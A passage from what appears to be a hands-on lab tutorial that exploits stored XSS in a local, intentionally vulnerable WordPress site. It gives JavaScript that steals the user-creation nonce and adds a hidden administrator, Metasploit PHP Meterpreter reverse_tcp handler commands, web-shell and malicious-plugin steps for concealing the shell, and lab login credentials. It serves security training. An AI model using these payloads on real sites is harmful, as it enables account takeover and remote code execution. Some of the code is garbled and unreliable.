We're going to pull out a substring of our response and save it into the **nonceVal** variable. We'll give the substring two indices, the **noncePos** we just printed, and that index plus 100. So somewhere in that substring we should have our nonce value.



Getting closer

You can easily adjust these index offsets to narrow down the substring through trial and error, or use regular expressions as I'm regularly told :)



Correct offsets to isolate the nonce value



Successfully parsing the nonce value from response

Now we can integrate our **findNonce** function and our **addAdminUser** function to first find the nonce, then use it in our request to add our new administrator user. We also change the body line that includes the nonce value from hardcoded to a variable.

From this: body += "_wpnonce_create-user=1c0eb1d904&";

To this: body += "_wpnonce_create-user=" + nonceVal + "&";



Add user code included and nonce value variable added to body

```
The final function code is:
function addAdminUser()
{
      var uri = "/wp-admin/user-new.php";
      var username = "sneakyuser";
      var email = "sneaky%40somewhere.com";
      var password = "password";
      xhr = new XMLHttpRequest();
      xhr.open("GET", uri, true);
      xhr.send(null);
      xhr.onreadystatechange = function()
      {
             if (xhr.readyState == XMLHttpRequest.DONE)
             {
                   // Parse out the nonce
                   var response = read body(xhr);
                   var noncePos = response.indexOf('name="_wpnonce_create-user"
value="");
                   console.log("Nonce string index is: " + noncePos);
                   var nonceVal = response.substring(noncePos + 35, noncePos + 45);
                   console.log("Nonce substring is: " + nonceVal);
                   // Now add the user using our nonce
                   console.log("Adding the user...");
                   xhr = new XMLHttpRequest();
                   xhr.open("POST", uri);
                   xhr.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
                   var body = "action=createuser&";
                   body += " wpnonce create-user=" + nonceVal + "&";
                   body += " wp http referer=%2Fwp-admin%2Fuser-new.php&";
                   body += "user_login=" + username + "&";
                   body += "email=" + email + "&";
                   body += "first name=&";
                   body += "last name=&";
                   body += "uri=&";
```

```
body += "pass1=" + password + "&";
body += "pass1-text=" + password + "&";
body += "pass2=" + password + "&";
body += "pw_weak=on&";
body += "pw_weak=on&";
body += "role=administrator&";
body += "role=administrator&";
body += "ure_select_other_roles=&";
body += "createuser=Add+New+User";
xhr.send(body);
}
```

addAdminUser();

Save this function into your **payload.js** file and make sure you've deleted any account you've already added during your payload testing. Remember, refreshing the XSS Post page will result in your new admin user being added again.



Adding the user

Users Add New								
All (3) Administrator (2) Contributor (1)								
Bulk actions v Apply Change role to v Change Gran								
Username	Name							
🗆 👰 admin	_							
🗆 🧕 pop	Bob Wifflebottoms							
Sneakyuser	_							
Username	Name							
New admin user added								

Congratulations!

Now what other functions of the application can you exploit from XSS? See the **demoFunctions.js** file for some other samples and ideas.

Appendix

XSS Injection Location

In case you wish to modify the XSS injection that includes the **payload.js** file, it's located here in the Photo Gallery. This injection was done as a low privilege user. You can access this account by logging into:

http://127.0.0.1/wp-admin/

with the following credentials:

Username: bob

Password: Password123!



Pre-injected XSS Script Include (you don't have to do this)

Meterpreter Shell Notes

If you wish to try out the meterpreter shell demo code, there are a few extra things you need to handle. Before you can install the PHP Meterpreter shell using the provided function, you have to install the yertle shell. The yertle shell is used to gain general code execution on the server, which is then used to write the PHP Meterpreter shell to disk and execute it. There's a separate function for this if you review the **demoFunctions.js** file.

In the **openPhpMeterpreterSession** function you also need to change the **handlerIP** address to **127.0.0.1** since our handler will be running on the same machine as the web application server.

Finally, you will need to have your Metasploit handler listening for the "callback" from the victim web server when the meterpreter shell is executed.

To start the handler, open a new terminal window and type the command **msfconsole**. Once you're at the **msf5** command prompt, type: **use multi/handler**

Next type: set PAYLOAD php/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4444

Once you've set those values, you can type the **options** command, and your settings should appear like the following screenshot.

Start the handler by typing run.

Your **payload.js** file will need the following elements from the **demoFunctions.js** file: Global variables:

```
var webShellPath = "shell/shell.php";
var phpMetShellPath = "shell/meterpreter.php";
Helper functions:
const sleep = (milliseconds) =>
{
      return new Promise(resolve => setTimeout(resolve, milliseconds));
}
function read_body(xhr)
{
      var data;
      if (!xhr.responseType || xhr.responseType === "text")
      {
             data = xhr.responseText;
      }
      else if (xhr.responseType === "document")
      {
             data = xhr.responseXML;
      }
      else if (xhr.responseType === "json")
      {
             data = xhr.responseJSON;
      }
      else
      {
             data = xhr.response;
      }
      return data;
}
```

Primary functions (find full functions in demoFunctions.js): installYertleShell() openPhpMeterpreterSession() Once you have all of those elements in your **payload.js** file, call **installYertleShell()** and **openPhpMeterpreterSession()** in that order. After those functions are called, you should receive a session in your Metasploit handler after about 15 to 20 seconds.

R	¢	Inspector	> Console	Debugger	↑↓ Network	<pre>{} Style Editor</pre>	Performa
Û	₹ F	ilter Output	t				
	Start	ing add p	lugin, huntin	g for the nonce			
A	Synch http:	ronous XM //xhr.spe	LHttpRequest c.whatwg.org/	on the main thr	ead is deprec	ated because of	its detriment
	Shell	. isn't th	ere yet				
	Nonce	e position	: 25539				
	Nonce	substrin	g: 7fb124ba48				
	Done	uploading	malicious pl	ugin			
	About	to overw	rite the shel	l.php to hide i	t in the UI		
	PHP M	Neterprete	r shell uploa	ded			
	Sendi	ing comman	d to execute	shell			
>>							

Payload slowly executing to add plugin, install meterpreter shell, and execute



Session established

Refresher Talk

If you've forgotten some of the finer points seen during the talk, you can review an archived webinar demonstrating this vulnerable application and example payloads: <u>https://youtu.be/NBWYRLnWDkM</u>